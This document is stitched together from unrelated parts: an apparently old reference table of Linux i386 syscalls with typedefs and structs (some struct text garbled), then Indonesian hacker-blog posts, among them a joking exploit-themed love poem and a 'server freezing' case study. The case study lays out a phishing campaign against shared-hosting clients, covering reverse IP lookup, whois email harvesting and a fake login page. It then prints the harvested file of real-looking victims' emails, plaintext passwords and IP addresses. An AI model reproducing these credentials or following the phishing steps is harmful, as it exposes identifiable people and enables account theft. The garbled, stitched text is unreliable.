71	sys_setregid	kernel/sys.c	gid_t	gid_t	-	-	-
72	sys_sigsuspend	arch/i386/kernel/signal.c	int	int	old_sigset_t	-	-
73	sys_sigpending	kernel/signal.c	old_sigset_t *	-	-	-	-
74	sys_sethostname	kernel/sys.c	char *	int	-	-	-
75	sys_setrlimit	kernel/sys.c	unsigned int	struct rlimit *	-	-	-
76	sys_getrlimit	kernel/sys.c	unsigned int	struct rlimit *	-	-	-
77	sys_getrusage	kernel/sys.c	int	struct rusage *	-	-	-
78	sys_gettimeofday	kernel/time.c	struct timeval *	struct timezone *	-	-	-
79	sys_settimeofday	kernel/time.c	struct timeval *	struct timezone *	-	-	-
80	sys_getgroups	kernel/sys.c	int	gid_t *	-	-	-
81	sys_setgroups	kernel/sys.c	int	gid_t *	-	-	-
82	old_select	arch/i386/kernel/sys_i386.c	struct sel_arg_struct *	-	-	-	-
83	sys_symlink	fs/namei.c	const char *	const char *	-	-	-
84	sys_lstat	fs/stat.c	char *	struct __old_kernel_stat *	-	-	-
85	sys_readlink	fs/stat.c	const char *	char *	int	-	-
86	sys_uselib	fs/exec.c	const char *	-	-	-	-
87	sys_swapon	mm/swapfile.c	const char *	int	-	-	-
88	sys_reboot	kernel/sys.c	int	int	int	void *	-
89	old_readdir	fs/readdir.c	unsigned int	void *	unsigned int	-	-
90	old_mmap	arch/i386/kernel/sys_i386.c	struct mmap_arg_struct *	-	-	-	-
91	sys_munmap	mm/mmap.c	unsigned long	size_t	-	-	-
92	sys_truncate	fs/open.c	const char *	unsigned long	-	-	-
93	sys_ftruncate	fs/open.c	unsigned int	unsigned long	-	-	-
94	sys_fchmod	fs/open.c	unsigned int	mode_t	-	-	-
95	sys_fchown	fs/open.c	unsigned int	uid_t	gid_t	-	-
96	sys_getpriority	kernel/sys.c	int	int	-	-	-
97	sys_setpriority	kernel/sys.c	int	int	int	-	-
99	sys_statfs	fs/open.c	const char *	struct statfs *	-	-	-
100	sys_fstatfs	fs/open.c	unsigned int	struct statfs *	-	-	-
101	sys_ioperm	arch/i386/kernel/ioport.c	unsigned long	unsigned long	int	-	-
102	sys_socketcall	net/socket.c	int	unsigned long *	-	-	-
103	sys_syslog	kernel/printk.c	int	char *	int	-	-
104	sys_setitimer	kernel/itimer.c	int	struct itimerval *	struct itimerval *	-	-
105	sys_getitimer	kernel/itimer.c	int	struct itimerval *	-	-	-
106	sys_newstat	fs/stat.c	char *	struct stat *	-	-	-
107	sys_newlstat	fs/stat.c	char *	struct stat *	-	-	-
108	sys_newfstat	fs/stat.c	unsigned int	struct stat *	-	-	-
109	sys_uname	arch/i386/kernel/sys_i386.c	struct old_utsname *	-	-	-	-
110	sys_iopl	arch/i386/kernel/ioport.c	unsigned long	-	-	-	-
111	sys_vhangup	fs/open.c	-	-	-	-	-
112	sys_idle	arch/i386/kernel/process.c	-	-	-	-	-
113	sys_vm86old	arch/i386/kernel/vm86.c	unsigned long	struct vm86plus_struct *	-	-	-
114	sys_wait4	kernel/exit.c	pid_t	unsigned long *	int options	struct rusage *	-
115	sys_swapoff	mm/swapfile.c	const char *	-	-	-	-
116	sys_sysinfo	kernel/info.c	struct sysinfo *	-	-	-	-
117	sys_ipc (*Note)	arch/i386/kernel/sys_i386.c	uint	int	int	int	void *
118	sys_fsync	fs/buffer.c	unsigned int	-	-	-	-
119	sys_sigreturn	arch/i386/kernel/signal.c	unsigned long	-	-	-	-
120	sys_clone	arch/i386/kernel/process.c	struct pt_regs	-	-	-	-
121	sys_setdomainname	kernel/sys.c	char *	int	-	-	-
122	sys_newuname	kernel/sys.c	struct new_utsname *	-	-	-	-
123	sys_modify_ldt	arch/i386/kernel/ldt.c	int	void *	unsigned long	-	-
124	sys_adjtimex	kernel/time.c	struct timex *	-	-	-	-
125	sys_mprotect	mm/mprotect.c	unsigned long	size_t	unsigned long	-	-
126	sys_sigprocmask	kernel/signal.c	int	old_sigset_t *	old_sigset_t *	-	-
127	sys_create_module	kernel/module.c	const char *	size_t	-	-	-
128	sys_init_module	kernel/module.c	const char *	struct module *	-	-	-
129	sys_delete_module	kernel/module.c	const char *	-	-	-	-
130	sys_get_kernel_syms	kernel/module.c	struct kernel_sym *	-	-	-	-
131	sys_quotactl	fs/dquot.c	int	const char *	int	caddr_t	-
132	sys_getpgid	kernel/sys.c	pid_t	-	-	-	-
133	sys_fchdir	fs/open.c	unsigned int	-	-	-	-
134	sys_bdflush	fs/buffer.c	int	long	-	-	-
135	sys_sysfs	fs/super.c	int	unsigned long	unsigned long	-	-
136	sys_personality	kernel/exec_domain.c	unsigned long	-	-	-	-
138	sys_setfsuid	kernel/sys.c	uid_t	-	-	-	-
139	sys_setfsgid	kernel/sys.c	gid_t	-	-	-	-
140	sys_llseek	fs/read_write.c	unsigned int	unsigned long	unsigned long	loff_t *	unsigned int
141	sys_getdents	fs/readdir.c	unsigned int	void *	unsigned int	-	-
142	sys_select	fs/select.c	int	fd_set *	fd_set *	fd_set *	struct timeval *
143	sys_flock	fs/locks.c	unsigned int	unsigned int	-	-	-
144	sys_msync	mm/filemap.c	unsigned long	size_t	int	-	-
145	sys_readv	fs/read_write.c	unsigned long	const struct iovec *	unsigned long	-	-
146	sys_writev	fs/read_write.c	unsigned long	const struct iovec *	unsigned long	-	-
147	sys_getsid	kernel/sys.c	pid_t	-	-	-	-
148	sys_fdatasync	fs/buffer.c	unsigned int	-	-	-	-
149	sys_sysctl	kernel/sysctl.c	struct __sysctl_args *	-	-	-	-
150	sys_mlock	mm/mlock.c	unsigned long	size_t	-	-	-
151	sys_munlock	mm/mlock.c	unsigned long	size_t	-	-	-
152	sys_mlockall	mm/mlock.c	int	-	-	-	-
153	sys_munlockall	mm/mlock.c	-	-	-	-	-
154	sys_sched_setparam	kernel/sched.c	pid_t	struct sched_param *	-	-	-
155	sys_sched_getparam	kernel/sched.c	pid_t	struct sched_param *	-	-	-
156	sys_sched_setscheduler	kernel/sched.c	pid_t	int	struct sched_param *	-	-
157	sys_sched_getscheduler	kernel/sched.c	pid_t	-	-	-	-
158	sys_sched_yield	kernel/sched.c	-	-	-	-	-
159	sys_sched_get_priority_max	kernel/sched.c	int	-	-	-	-
160	sys_sched_get_priority_min	kernel/sched.c	int	-	-	-	-
161	sys_sched_rr_get_interval	kernel/sched.c	pid_t	struct timespec *	-	-	-
162	sys_nanosleep	kernel/sched.c	struct timespec *	struct timespec *	-	-	-
163	sys_mremap	mm/mremap.c	unsigned long	unsigned long	unsigned long	unsigned long	-
164	sys_setresuid	kernel/sys.c	uid_t	uid_t	uid_t	-	-
165	sys_getresuid	kernel/sys.c	uid_t *	uid_t *	uid_t *	-	-
166	sys_vm86	arch/i386/kernel/vm86.c	struct vm86_struct *	-	-	-	-
167	sys_query_module	kernel/module.c	const char *	int	char *	size_t	size_t *
168	sys_poll	fs/select.c	struct pollfd *	unsigned int	long	-	-
169	sys_nfsservctl	fs/filesystems.c	int	void *	void *	-	-
170	sys_setresgid	kernel/sys.c	gid_t	gid_t	gid_t	-	-
171	sys_getresgid	kernel/sys.c	gid_t *	gid_t *	gid_t *	-	-
172	sys_prctl	kernel/sys.c	int	unsigned long	unsigned long	unsigned long	unsigned long
173	sys_rt_sigreturn	arch/i386/kernel/signal.c	unsigned long	-	-	-	-
174	sys_rt_sigaction	kernel/signal.c	int	const struct sigaction *	struct sigaction *	size_t	-
175	sys_rt_sigprocmask	kernel/signal.c	int	sigset_t *	sigset_t *	size_t	-
176	sys_rt_sigpending	kernel/signal.c	sigset_t *	size_t	-	-	-
177	sys_rt_sigtimedwait	kernel/signal.c	const sigset_t *	siginfo_t *	const struct timespec *	size_t	-
178	sys_rt_sigqueueinfo	kernel/signal.c	int	int	siginfo_t *	-	-
179	sys_rt_sigsuspend	arch/i386/kernel/signal.c	sigset_t *	size_t	-	-	-
180	sys_pread	fs/read_write.c	unsigned int	char *	size_t	loff_t	-
181	sys_pwrite	fs/read_write.c	unsigned int	const char *	size_t	loff_t	-
182	sys_chown	fs/open.c	const char *	uid_t	gid_t	-	-
183	sys_getcwd	fs/dcache.c	char *	unsigned long	-	-	-
184	sys_capget	kernel/capability.c	cap_user_header_t	cap_user_data_t	-	-	-
185	sys_capset	kernel/capability.c	cap_user_header_t	const cap_user_data_t	-	-	-
186	sys_sigaltstack	arch/i386/kernel/signal.c	const stack_t *	stack_t *	-	-	-
187	sys_sendfile	mm/filemap.c	int	int	off_t *	size_t	-
190	sys_vfork	arch/i386/kernel/process.c	struct pt_regs	-	-	-	-

Note for sys_ipc (117): this syscall takes six arguments, so it can't fit into the five registers %ebx - %edi; the last parameter (not shown) is of type 'long'. This syscall requires a special call method where a pointer is put in %ebx which points to an array containing the six arguments.
I will now explain exactly where in the kernel source that I got the information in the table above. I do this because 1) changes in the source are bound to happen, 2) you might be curious, or 3) I might've made an error.

System Call Numbers

For the numbers of the syscalls, look in arch/i386/kernel/entry.S for sys_call_table. The syscall numbers are offsets into that table. Several spots in the table are occupied by the syscall sys_ni_syscall. This is a placeholder that either replaces an obsolete syscall or reserves a spot for future syscalls.
Incidentally, the system calls are called from the function system_call in the same file; in particular, they are called with the assembly instruction 'call *SYMBOL_NAME(sys_call_table)(,%eax,4)'. The part '*SYMBOL_NAME(sys_call_table)' just gets replaced by a symbol name in sys_call_table. SYMBOL_NAME is a macro defined in include/linux/linkage.h, and it just replaces itself with its argument.

Typedefs

Here are the typedef declarations in the prototypes above:

atomic_t	include/asm/atomic.h: #ifdef __SMP__ typedef struct { volatile int counter; } atomic_t; #else typedef struct { int counter; } atomic_t; #endif
caddr_t	include/asm/posix_types.h:typedef char * __kernel_caddr_t; include/linux/types.h:typedef __kernel_caddr_t caddr_t;
cap_user_header_t	include/linux/capability.h: typedef struct __user_cap_header_struct { __u32 version; int pid; } *cap_user_header_t;
cap_user_data_t	include/linux/capability.h: typedef struct __user_cap_data_struct { __u32 effective; __u32 permitted; __u32 inheritable; } *cap_user_data_t;
clock_t	include/asm/posix_types.h:typedef long __kernel_clock_t; include/linux/types.h:typedef __kernel_clock_t clock_t;
dev_t	include/asm/posix_types.h:typedef unsigned short __kernel_dev_t; include/linux/types.h:typedef __kernel_dev_t dev_t;
fdset	include/linux/posix_types.h #define __FD_SETSIZE 1024 #define __NFDBITS (8 * sizeof(unsigned long)) #define __FDSET_LONGS (__FD_SETSIZE/__NFDBITS) (==> __FDSET_LONGS == 32) typedef struct { unsigned long fds_bits [__FDSET_LONGS]; } __kernel_fd_set; include/linux/types.h:typedef __kernel_fd_set fd_set;
gid_t	include/asm/posix_types.h:typedef unsigned short __kernel_gid_t; include/linux/types.h:typedef __kernel_gid_t gid_t;
__kernel_daddr_t	include/asm/posix_types.h:typedef int __kernel_daddr_t;
__kernel_fsid_t	include/asm/posix_types.h: typedef struct { int __val[2]; } __kernel_fsid_t;
__kernel_ino_t	include/asm/posix_types.h:typedef unsigned long __kernel_ino_t;
__kernel_size_t	include/asm/posix_types.h:typedef unsigned int __kernel_size_t;
loff_t	include/asm/posix_types.h:typedef long long __kernel_loff_t; include/linux/types.h:typedef __kernel_loff_t loff_t;
mode_t	include/asm/posix_types.h:typedef unsigned short __kernel_mode_t; include/linux/types.h:typedef __kernel_mode_t mode_t;
off_t	include/asm/posix_types.h:typedef long __kernel_off_t; include/linux/types.h:typedef __kernel_off_t off_t;
old_sigset_t	include/asm/signal.h:typedef unsigned long old_sigset_t;
pid_t	include/asm/posix_types.h:typedef int __kernel_pid_t; include/linux/types.h:typedef __kernel_pid_t pid_t;
__sighandler_t	include/asm/signal.h:typedef void (*__sighandler_t)(int);
siginfo_t	include/asm/siginfo.h: #define SI_MAX_SIZE 128 #define SI_PAD_SIZE ((SI_MAX_SIZE/sizeof(int)) - 3) (==> SI_PAD_SIZE == 29) typedef struct siginfo { int si_signo; int si_errno; int si_code; union { int _pad[SI_PAD_SIZE]; /* kill() / struct { pid_t _pid; / sender's pid / uid_t _uid; / sender's uid / } _kill; / POSIX.1b timers / struct { unsigned int _timer1; unsigned int _timer2; } _timer; / POSIX.1b signals / struct { pid_t _pid; / sender's pid / uid_t _uid; / sender's uid / sigval_t _sigval; } _rt; / SIGCHLD / struct { pid_t _pid; / which child / uid_t _uid; / sender's uid / int _status; / exit code / clock_t _utime; clock_t _stime; } _sigchld; / SIGILL, SIGFPE, SIGSEGV, SIGBUS / struct { void _addr; /* faulting insn/memory ref. / } _sigfault; / SIGPOLL / struct { int _band; / POLL_IN, POLL_OUT, POLL_MSG */ int _fd; } _sigpoll; } _sifields; } siginfo_t;
sigset_t	include/asm/signal.h:typedef unsigned long sigset_t;
size_t	include/asm/posix_types.h:typedef unsigned int __kernel_size_t; include/linux/types.h:typedef __kernel_size_t size_t;
ssize_t	include/asm/posix_types.h:typedef int __kernel_ssize_t; include/linux/types.h:typedef __kernel_ssize_t ssize_t;
stack_t	include/asm/signal.h: typedef struct sigaltstack { void *ss_sp; int ss_flags; size_t ss_size; } stack_t;
suseconds_t	include/asm/posix_types.h:typedef long __kernel_suseconds_t; include/linux/types.h:typedef __kernel_suseconds_t suseconds_t;
time_t	include/asm/posix_types.h:typedef long __kernel_time_t; include/linux/types.h:typedef __kernel_time_t time_t;
uid_t	include/asm/posix_types.h:typedef unsigned short __kernel_uid_t; include/linux/types.h:typedef __kernel_uid_t uid_t;
uint	include/linux/types.h:typedef unsigned int uint;
__u32	include/asm/types.h:typedef unsigned int __u32;

Struct Declarations

Here are the struct declarations for the table at the top:

exception_table_entry	include/linux/module.h: struct exception_table_entry { unsigned long insn, fixup; };
iovec	include/linux/uio.h: struct iovec { void *iov_base; __kernel_size_t iov_len; };
itimerval	include/linux/time.h: struct itimerval { struct timeval it_interval; /* timer interval / struct timeval it_value; / current value */ };
kernel_sym	include/linux/module.h: struct kernel_sym { unsigned long value; char name[60]; };
mmap_arg_struct	arch/i386/kernel/sys_i386.c: struct mmap_arg_struct { unsigned long addr; unsigned long len; unsigned long prot; unsigned long flags; unsigned long fd; unsigned long offset; };
module	include/linux/module.h: struct module { unsigned long size_of_struct; /* sizeof(module) / struct module next; const char name; unsigned long size; union { atomic_t usecount; long pad; } uc; unsigned long flags; / AUTOCLEAN et al / unsigned nsyms; unsigned ndeps; struct module_symbol syms; struct module_ref deps; struct module_ref refs; int (init)(void); void (cleanup)(void); const struct exception_table_entry ex_table_start; const struct exception_table_entry ex_table_end; /* Members past this point are extensions to the basic module support and are optional. Use mod_opt_member() to examine them. / const struct module_persist persist_start; const struct module_persist persist_end; int (can_unload)(void); };
module_persist	include/linux/module.h: struct module_persist; /* yes, it's empty */
module_ref	include/linux/module.h: struct module_ref { struct module dep; / "parent" pointer / struct module ref; /* "child" pointer / struct module_ref next_ref; };
module_symbol	include/linux/module.h: struct module_symbol { unsigned long value; const char *name; };
new_utsname	include/linux/utsname.h: struct new_utsname { char sysname[65]; char nodename[65]; char release[65]; char version[65]; char machine[65]; char domainname[65]; };
__old_kernel_stat	include/asm/stat.h: struct __old_kernel_stat { unsigned short st_dev; unsigned short st_ino; unsigned short st_mode; unsigned short st_nlink; unsigned short st_uid; unsigned short st_gid; unsigned short st_rdev; unsigned long st_size; unsigned long st_atime; unsigned long st_mtime; unsigned long st_ctime; };
oldold_utsname	include/linux/utsname.h: struct oldold_utsname { char sysname[9]; char nodename[9]; char release[9]; char version[9]; char machine[9]; };
old_sigaction	include/asm/signal.h: struct old_sigaction { __sighandler_t sa_handler; old_sigset_t sa_mask; unsigned long sa_flags; void (*sa_restorer)(void); };
old_utsname	include/linux/utsname.h: struct old_utsname { char sysname[65]; char nodename[65]; char release[65]; char version[65]; char machine[65]; };
pollfd	include/asm/poll.h: struct pollfd { int fd; short events; short revents; };
pt_regs	include/asm/ptrace.h: struct pt_regs { long ebx; long ecx; long edx; long esi; long edi; long ebp; long eax; int xds; int xes; long orig_eax; long eip; int xcs; long eflags; long esp; int xss; };
revectored_struct	include/asm/vm86.h: struct revectored_struct { unsigned long __map[8]; };
rlimit	include/linux/resource.h: struct rlimit { long rlim_cur; long rlim_max; };
rusage	include/linux/resource.h: struct rusage { struct timeval ru_utime; /* user time used / struct timeval ru_stime; / system time used / long ru_maxrss; / maximum resident set size / long ru_ixrss; / integral shared memory size / long ru_idrss; / integral unshared data size / long ru_isrss; / integral unshared stack size / long ru_minflt; / page reclaims / long ru_majflt; / page faults / long ru_nswap; / swaps / long ru_inblock; / block input operations / long ru_oublock; / block output operations / long ru_msgsnd; / messages sent / long ru_msgrcv; / messages received / long ru_nsignals; / signals received / long ru_nvcsw; / voluntary context switches / long ru_nivcsw; / involuntary '' */ };
sched_param	include/linux/sched.h: struct sched_param { int sched_priority; };
sel_arg_struct	arch/i386/kernel/sys_i386.c: struct sel_arg_struct { unsigned long n; fd_set inp, outp, exp; struct timeval tvp; };
sigaction	include/asm/signal.h: struct sigaction { __sighandler_t sa_handler; unsigned long sa_flags; void (sa_restorer)(void); sigset_t sa_mask; / mask last for extensibility */ };
stat	include/asm/stat.h: struct stat { unsigned short st_dev; unsigned short __pad1; unsigned long st_ino; unsigned short st_mode; unsigned short st_nlink; unsigned short st_uid; unsigned short st_gid; unsigned short st_rdev; unsigned short __pad2; unsigned long st_size; unsigned long st_blksize; unsigned long st_blocks; unsigned long st_atime; unsigned long __unused1; unsigned long st_mtime; unsigned long __unused2; unsigned long st_ctime; unsigned long __unused3; unsigned long __unused4; unsigned long __unused5;
statfs	include/asm/statfs.h: struct statfs { long f_type; long f_bsize; long f_blocks; long f_bfree; long f_bavail; long f_files; long f_ffree; __kernel_fsid_t f_fsid; long f_namelen; long f_spare[6]; };
__sysctl_args	include/linux/sysctl.h struct __sysctl_args { int name; int nlen; void oldval; size_t oldlenp; void newval; size_t newlen; unsigned long __unused[4]; };
sysinfo	include/linux/kernel.h: struct sysinfo { long uptime; /* Seconds since boot / unsigned long loads[3]; / 1, 5, and 15 minute load averages / unsigned long totalram; / Total usable main memory size / unsigned long freeram; / Available memory size / unsigned long sharedram; / Amount of shared memory / unsigned long bufferram; / Memory used by buffers / unsigned long totalswap; / Total swap space size / unsigned long freeswap; / swap space still available / unsigned short procs; / Number of current processes / char _f[22]; / Pads structure to 64 bytes */ };
timex	include/linux/timex.h: struct timex { unsigned int modes; /* mode selector / long offset; / time offset (usec) / long freq; / frequency offset (scaled ppm) / long maxerror; / maximum error (usec) / long esterror; / estimated error (usec) / int status; / clock command/status / long constant; / pll time constant / long precision; / clock precision (usec) (read only) / long tolerance; / clock frequency tolerance (ppm) * (read only) / struct timeval time; / (read only) / long tick; / (modified) usecs between clock ticks / long ppsfreq; / pps frequency (scaled ppm) (ro) / long jitter; / pps jitter (us) (ro) / int shift; / interval duration (s) (shift) (ro) / long stabil; / pps stability (scaled ppm) (ro) / long jitcnt; / jitter limit exceeded (ro) / long calcnt; / calibration intervals (ro) / long errcnt; / calibration errors (ro) / long stbcnt; / stability limit exceeded (ro) */ int :32; int :32; int :32; int :32; int :32; int :32; int :32; int :32; int :32; int :32; int :32; int :32; };
timespec	include/linux/time.h: struct timespec { time_t tv_sec; /* seconds / long tv_nsec; / nanoseconds */ };
timeval	include/linux/time.h: struct timeval { time_t tv_sec; /* seconds / suseconds_t tv_usec; / microseconds */ };
timezone	include/linux/time.h: struct timezone { int tz_minuteswest; /* minutes west of Greenwich / int tz_dsttime; / type of dst correction */ };
tms	include/linux/times.h struct tms { clock_t tms_utime; clock_t tms_stime; clock_t tms_cutime; clock_t tms_cstime; };
ustat	include/linux/types.h: struct ustat { __kernel_daddr_t f_tfree; __kernel_ino_t f_tinode; char f_fname[6]; char f_fpack[6]; };
utimbuf	include/linux/utime.h: struct utimbuf { time_t actime; time_t modtime; };
vm86plus_info_struct	include/asm/vm86.h: struct vm86plus_info_struct { unsigned long force_return_for_pic:1; unsigned long vm86dbg_active:1; unsigned long vm86dbg_TFpendig:1; unsigned long unused:28; unsigned long is_vm86pus:1; unsigned char vm86dbg_intxxtab[32]; };
vm86plus_struct	include/asm/vm86.h: struct vm86plus_struct { struct vm86_regs regs; unsigned long flags; unsigned long screen_bitmap; unsigned long cpu_type; struct revectored_struct int_revectored; struct revectored_struct int21_revectored; struct vm86plus_info_struct vm86plus; };
vm86_regs	include/asm/vm86.h: struct vm86_regs { /* normal regs, with special meaning for the segment descriptors.. / long ebx; long ecx; long edx; long esi; long edi; long ebp; long eax; long __null_ds; long __null_es; long __null_fs; long __null_gs; long orig_eax; long eip; unsigned short cs, __csh; long eflags; long esp; unsigned short ss, __ssh; / these are specific to v86 mode: */ unsigned short es, __esh; unsigned short ds, __dsh; unsigned short fs, __fsh; unsigned short gs, __gsh; };
vm86_struct	include/asm/vm86.h: struct vm86_struct { struct vm86_regs regs; unsigned long flags; unsigned long screen_bitmap; unsigned long cpu_type; struct revectored_struct int_revectored; struct revectored_struct int21_revectored; };

©2004, Gary L. Burt

Surat Cinta Ev1lut10n

2012-02-20T15:57:00.000-08:00

-Seandainya hatimu adalah sebuah sistem, maka aku akan scan kamu untuk mengetahui port mana yang terbuka.

-Seandainya hatimu adalah sebuah sistem maka akan kulakukan traceroute untuk mengetahui berapa router (hop) menuju hatimu yang bisa dengan mudah kuguncang untuk membuat gejolak trafik di dalam hatimu.

-Seandainya hatimu adalah sebuah sistem maka kumohon matikanlah ipsecmu agar aku bisa lebih leluasa melakukan penetrasi ke hatimu

-Aku berharap dirimu adalah BSD yang dengan iklas menerima payload remote exploitku di hatimu agar hatimu terbuka untukku dan memberikan spawn shell harapan padaku agar tanpa ragu kulakukan $nc hatimu pada port yang terbuka.

-Seandainya hatimu adalah sebuah sistem yang bisa kumasuki maka ijinkanlah aku untuk memiliki hatimu seutuhnya dengan mengeksekusi exploit2 ku untuk mengaet root di hatimu tanpa perlu menyanyikan lagu bon jovi.

-Seandainya hatimu adalah sebuah sistem yang telah kukuasai ijinkanlah aku menanamkan userspace dan kernelspace rootkit agar keberadaanku di hatimu abadi

- Janganlah melupakanku seperti wanita2 lain yang telah melupakanku

-Tapi sayang hatimu bukanlah sebuah system, kamu adalah sang bidadari impianku, yang telah mengacaukan sistemku!

-Suatu saat nanti aku akan datang dan mengatakan kalau di MBR ku telah terinfeksi virus yang menghanyutkan. Ga ada anti virus yang dapat menangkalnya selain ...
kamu.

kids game

2012-02-20T08:22:00.000-08:00

prediksi euro 2012
jadwal euro 2012

- Server Freezing (Bukan DDOS !!! (echo.or.id case study)) - by: ev1lut10n

2012-02-19T10:25:00.004-08:00

- Server Freezing (Bukan DDOS !!! (echo.or.id case study)) - by: ev1lut10n

"yes u're elite but u don't wanna read : langkah 5. tanpa memerkukan akses root, attacker akan menyiapkan privat exploit local untuk melumpuhkan target. if they think this is an old sploit then they're under a big mistake, underestimate others that's your weakness, as long as
you have this weakness you can not defeat the evil"

"inti dari serangan ini bukanlah DDOS tapi penggunaan exploit local dan bagaimana ide untuk mendapatkan sebanyak mungkin
pintu agar bisa mengontrol server selama mungkin dengan local exploit"

Selama ini attacker mengira cara untuk membunuh suatu target hanya dari luar (layer 1 s/d 7), tapi pernahkah Anda
membayangkan anda berada dalam suatu hosting massal di mana setiap klien lain menjadi attacker bagi Anda?

ini adalah teknik yang dipakai attacker untuk menyerang echo beberapa waktu lalu.

beberapa waktu lalu echo yang menggunakan shared hosting masterweb di mana banyak klien lain yang dihosting di situ.
yang dipikirkan attacker adalah bagaimana cara melumpuhkan target tanpa melakukan ddos?
attacker akan berusaha mendapatkan sebanyak mungkin akun hosting lain yang 1 hosting dg target.

cara paling efektif adalah mengumpulkan sebanyak mungkin akun2 masterkey dari tiap klien yang hosting di server yang sama.
caranya simple .

langkah 1. kita melakukan reverse ip seperti biasa untuk mendapatkan list domain yang dihosting di server yang sama.
langkah 2. attacker akan melakukan whois utk melihat email dari masing 2 pemilik domain
langkah 3. attacker mengirimkan pemberitahuan berupa spam email (phising) ke ratusan email klien yang telah berhasil dikumpulkan tadi
untuk login ke fake page masterkey :

     http://sevixniaga.com.31.masterweb.net/masterkey/

karena dikirimkan ke ratusan klien masterweb yang dihost yang sama tentu saja attacker tinggal memanen hasilnya dalam 1-2 harian:

http://sevixniaga.com.31.masterweb.net/masterkey/data.txt
===================
tes@tes.com|tes|139.195.59.81|Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10
tes@tes.com|tes|139.195.59.81|Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10
tes@tes.com|rrr|139.195.59.81|Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10
ramli.lau@gmail.com|30122103|125.160.198.190|Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.51.22 (KHTML, like Gecko) Version/5.1.1 Safari/534.51.22
ramli.lau@gmail.com|30122103|125.160.198.190|Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.51.22 (KHTML, like Gecko) Version/5.1.1 Safari/534.51.22
ramli.lau@gmail.com|30122103|125.160.198.190|Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
ramli.lau@gmail.com|312213|125.160.198.190|Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
b_suzanto@yahoo.com|Abelherlina|206.53.148.146|BlackBerry8900/5.0.0.1067 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/102
anombramanjati@yahoo.com|Muda1974|125.160.98.25|Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
ramli.lau@gmail.com|30122103|139.195.55.210|Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10
ibnuyoga@gmail.com|gapake88|180.243.185.118|Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
endiarchie@yahoo.com|o8ZYCXGYq7 |124.81.82.146|Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24
endiarchie@yahoo.com|o8ZYCXGYq7 |124.81.82.146|Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24
sutantog@yahoo.co.uk|nanalitA|117.102.116.130|Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.125 Safari/533.4
sutantog@yahoo.co.uk|nanalitA|117.102.116.130|Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.125 Safari/533.4
sutantog@yahoo.co.uk|nanalita|117.102.116.130|Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.125 Safari/533.4
agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|mwn102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
